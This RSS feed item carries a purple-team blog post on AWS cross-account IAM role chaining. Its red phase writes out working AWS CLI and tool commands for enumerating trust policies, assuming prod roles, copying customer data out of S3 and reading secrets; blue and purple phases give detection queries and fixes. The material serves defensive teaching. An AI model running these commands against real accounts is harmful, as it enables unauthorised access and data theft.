<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>OWASP Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/owasp/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/owasp/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Sat, 09 May 2026 18:42:00 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>OWASP Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/owasp/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
